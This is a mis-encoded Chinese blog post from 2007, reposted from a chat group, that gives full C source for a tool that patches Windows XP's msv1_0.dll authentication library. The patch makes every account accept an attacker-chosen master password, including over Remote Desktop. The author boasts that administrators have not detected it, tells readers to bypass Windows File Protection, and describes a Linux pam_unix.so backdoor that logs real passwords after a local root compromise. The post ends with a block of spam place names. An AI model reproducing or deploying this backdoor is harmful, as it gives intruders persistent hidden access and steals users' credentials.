隨筆-208  評論-469  文章-30  trackbacks-0


          我QQ群內(nèi)的朋友發(fā)給我的,共享一下
          很多的服務(wù)器管理員 普通網(wǎng)絡(luò)管理員 甚至普通用戶都可能用的上的.

          以下內(nèi)容為轉(zhuǎn)載

          其實這些東西我很早就做出來用了,而且效果還不錯,目前沒有一個管理員發(fā)現(xiàn)。

          以下程序只在winxpsp2中文版上測試
          #include <stdio.h>
          #include <stdlib.h>
          #include "windows.h"
          #include "wincrypt.h"

          wchar_t passwd[1024];
          char path[1024], hash[16];
          const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;
          const char chunk1[] = {
          ??? 0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90
          };
          const char chunk2[] = {
          ??? 0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,
          ??? 0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,
          ??? 0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,
          ??? 0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,
          ??? 0xC4, 0x77
          };

          void err(char *msg) {
          ??? printf("error: %s\n", msg);
          ??? exit(1);
          }

          int main(int argc, char *argv[]) {
          ??? HCRYPTPROV hProv;
          ??? HCRYPTHASH hHash;
          ??? unsigned len, sint = sizeof(int);
          ??? FILE *fout;

          ??? if (argc != 2) {
          ??????? printf("msv1_0.dll password backdoor generator by cly\n"
          ??????????? "Usage:\n%s password\nOnly for winxp sp2\n", argv[0]);
          ??????? exit(1);
          ??? }

          ??? len = strlen(argv[1]);
          ??? if (len > 512)
          ??????? err("the password is too long");
          ??? len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);

          ??? if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))
          ??????? if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,
          PROV_RSA_FULL,
          CRYPT_NEWKEYSET))
          ??????????? err("CryptAcquireContext");
          ??? if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
          ??????? err("CryptCreateHash");
          ??? if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))
          ??????? err("CryptHashData");
          ??? CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);
          ??? if (len != 16)
          ??????? err("CryptGetHashParam");
          ??? CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);
          ??? if (hHash)
          ??????? CryptDestroyHash(hHash);
          ??? if (hProv)
          ??????? CryptReleaseContext(hProv, 0);

          ??? if (strlen(getenv("windir")) > 512)
          ??????? err("Are you kidding?");
          ??? sprintf(path, "%s\\system32\\msv1_0.dll", getenv("windir"));
          ??? if (!CopyFileA(path, "msv1_0.dll.cly", 0))
          ??????? err("CopyFileA");
          ??? fout = fopen("msv1_0.dll.cly", "rb+");
          ??? if (fout == NULL)
          ??????? err("fopen");
          ??? fseek(fout, os1, SEEK_SET);
          ??? fwrite(chunk1, sizeof(chunk1), 1, fout);
          ??? fseek(fout, os2, SEEK_SET);
          ??? fwrite(chunk2, sizeof(chunk2), 1, fout);
          ??? fseek(fout, ospasswd, SEEK_SET);
          ??? fwrite(hash, sizeof(hash), 1, fout);
          ??? fclose(fout);

          ??? return 0;
          }


          運行這個程序把得到的msv1_0.dll.cly復(fù)制到c:\windows\system32\msv1_0.dll(自己想辦法繞過WFP),所
          有的用戶就可以用你設(shè)置的密碼來登陸了,遠(yuǎn)程桌面也是可以的。
          這里只是提供一種思路,其他的版本比如win2k3應(yīng)該而是可以這樣搞的。
          其實我最開始是看到網(wǎng)上一片文章,不過他是空口令可以登陸,而我這是自己設(shè)置的口令可以登陸。

          Linux下就更簡單了,直接編譯一個自己的pam_unix.so上去就可以了。
          這個pam_unix.so可以記錄正確的密碼,也可以做和上面一樣的通用密碼后門。
          我是這樣搞的,先判斷密碼對錯,如果對了則記錄并放行,否則判斷是否為我設(shè)置的通用密碼,如果是就放行,其他的驗證失敗。
          這樣我local root成功后,放這樣一個后門,管理員還真是難查出來。

          posted on 2007-12-16 00:49 EricWong 閱讀(1454) 評論(0)  編輯  收藏 所屬分類: others
          主站蜘蛛池模板: 德庆县| 年辖:市辖区| 会东县| 东阳市| 宜丰县| 南木林县| 花莲市| 甘肃省| 芒康县| 齐河县| 宽甸| 壤塘县| 达尔| 龙门县| 玛多县| 北流市| 南安市| 通江县| 开江县| 平遥县| 乌拉特中旗| 苏尼特左旗| 富顺县| 房产| 中卫市| 镇巴县| 和政县| 唐山市| 武邑县| 安国市| 理塘县| 乌拉特前旗| 都匀市| 通城县| 通化县| 双牌县| 克拉玛依市| 兰州市| 永年县| 永吉县| 通山县|